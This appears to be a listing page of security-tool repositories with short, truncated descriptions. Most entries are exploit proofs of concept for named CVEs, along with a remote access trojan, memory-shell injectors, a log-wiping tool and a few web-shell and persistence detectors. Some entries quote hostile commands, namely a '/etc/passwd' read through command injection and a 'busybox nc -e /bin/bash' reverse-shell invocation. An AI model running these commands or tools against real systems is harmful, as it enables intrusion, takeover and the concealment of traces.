AgentMemshell

AgentMemshell A forked and further developed Agent memory shell based on MemShellParty, making it compatible with mainstream operating systems. Suitable for injecting memory shells into all Java processes in scenarios where command execution has no echo across all JDK versions. Currently only...

rat-shell

Stories in Ready Windows Remote Access Trojan RAT using .NET Sockets Client-server binaries and source-code for controlling a remote machine behind a NAT with a command-line shell in Windows. Although the core provides support for communication with multiple RATs, the command-line interface used...

hackersh

Hackersh Hackersh "Hacker Shell" es un shell intérprete de comandos escrito en Python con sintaxis similar a Pythonect, comandos de seguridad integrados y wrappers listos para usar para varias herramientas de seguridad. Hola, mundo Aquí está el programa canónico "Hola, mundo" en Hackersh::...

CVE-2024-2389

Progress Kemp Flowmon CVE-2024-2389 Description This repository contains a Python script to exploit a vulnerability in Flowmon that allows for gaining a reverse shell on the target system. The exploit leverages a flaw in the service.pdfs/confluence endpoint to execute arbitrary commands on the...

Chamilo-CVE-2023-4220-Exploit

Chamilo-LMS-CVE-2023-4220-Exploit This is an Exploit for Unrestricted file upload in big file upload functionality in Chamilo-LMS for this location /main/inc/lib/javascript/bigupload/inc/bigUpload.php in Chamilo LMS = v1.11.24, and Attackers can obtain remote code execution via uploading of web...

CVE-2020-8515

CVE-2020-8515 Draytek CVE-2020-8515 PoC I had kicking about. Amusingly, the command injected gets executed twice, see here: $ ./draytek.py draytek.local executing command: cat /etc/passwd + vulnerable! executing command: uname -a Linux Vigor3900 2.6.33.5 1 Wed Mar 28 00:49:28 CST 2018 armv6l...

CVE-2025-24801

CVE-2025-24801 PoC para RCE en GLPI Este repositorio contiene un script de prueba de concepto poc.py que explota CVE-2025-24801, una vulnerabilidad LFI a RCE en GLPI 10.0.17. Automatiza: Iniciar sesión en GLPI Habilitar la carga de archivos .php actualizando la configuración del tipo de documento...

ShellSweep

ShellSweep ShellSweeping the evil Why ShellSweep "ShellSweep" is a PowerShell/Python/Lua tool designed to detect potential web shell files in a specified directory. ShellSheep and it's suite of tools calculate the entropy of file contents to estimate the likelihood of a file being a web shell. Hi...

jexboss

JexBoss - JBoss and others Java Deserialization Vulnerabilities verify and EXploitation Tool JexBoss is a tool for testing and exploiting vulnerabilities in JBoss Application Server and others Java Platforms, Frameworks, Applications, etc. Requirements Python = 2.7.x urllib3 ipaddress Installatio...

LFiFreak

LFI Freak Features Works with Windows, Linux and OS X Includes bind and reverse shell for both Windows and Linux Written in Python 2.7 What is this all about? A unique tool for exploiting local file inclusions using PHP Input, PHP Filter and Data URI methods. Dependencies BeautifulSoup Disclaimer...

moonwalk

moonwalk Cubre tus huellas durante la Explotación de Linux / Pruebas de Penetración sin dejar rastros en los registros del sistema ni en las marcas de tiempo del sistema de archivos. 📖 Tabla de Contenidos Introducción Características Instalación Uso Contribución Licencia ℹ️ Introducción moonwalk e...

moonwalk

moonwalk Cover your tracks during Linux Exploitation / Penetration Testing by leaving zero traces on system logs and filesystem timestamps. 📖 Table of Contents Introduction Features Installation Usage Contribution License ℹ️ Introduction moonwalk is a 400 KB single-binary executable that can clear...

CVE-2018-15982

Credits @Ridter https://github.com/Ridter/CVE-2018-15982EXP @prsecurity https://github.com/prsecurity/CVE-2018-15982 Description Aggressor Script to launch an Internet Explorer driveby attack using CVE-2018-15982 exploit for Flash player. Affected Product Versions Adobe Flash Player Host...

CVE-2024-40110

CVE-2024-40110 - Poultry Farm Management System v1.0 Exploit para Poultry Farm Management System v1.0 Após encontrar um exploit no site Exploit-DB e o mesmo não funcionar, decidi realizar uma revisão no código e aprimorá-lo para adequar a necessidade. Uma vez que funcionou, decidi então, melhorar...

SMShell

SMShell PoC for an SMS-based shell. Send commands and receive responses over SMS from mobile broadband capable computers. This tool came as an insipiration during a research on eSIM security implications led by Markus Vervier, presented at Offensivecon 2023 Disclaimer This is not a complete C2 bu...

CVE-2025-24893

Reverse shell for CVE-2025-24893 python3 CVE-2025-24893.py -u http://wiki.editor.htb/ -c "busybox nc -e /bin/bash" upgrade the shell 1. python3 -c 'import pty; pty.spawn"/bin/bash"' 2. ctrl + z 3. stty size 4. stty raw -echo; fg 5. stty rows x columns y 6. export TERM=xterm...

CVE-2020-11108-PoC

CVE-2020-11108-PoC Two PoCs are in this repo. cve-2020-11108-rce.py will give you a shell as the www-data user. root-cve-2020-11108-rce.py will give you a shell and escalate privileges to root. Note: This is destructive as we must overwrite teleporter.php. For a full explanation/writeup please se...

CVE-2021-31630

OpenPLC WebServer v3 - Authenticated RCE CVE-2021-31630 This exploit is based on the exploit from Exploit-DB made by Fellipe Oliveira. First, authenticate Upload a malicious C file Compile it Start the PLC initiate reverse shell Stop the PLC no need to run it, the reverse shell is already initiat...

CVE-2017-7494

CVE-2017-7494 CVE-2017-7494 C poc Use CVE-2017-7494 to get a reverse shell 1. First compile sambainit.c to generate libsamba.so 2. Modify the relevant addresses in isknownpipename.c, compile and execute...

persisthunt

Linux Persistence Detection, Hunting and Artifact Collection Summary Usage Example Detections Table of Techniques Summary persisthunt.sh helps speed up investigations by collecting targeted persistence-related artifacts and highlighting suspicious patterns commonly associated with Linux persisten...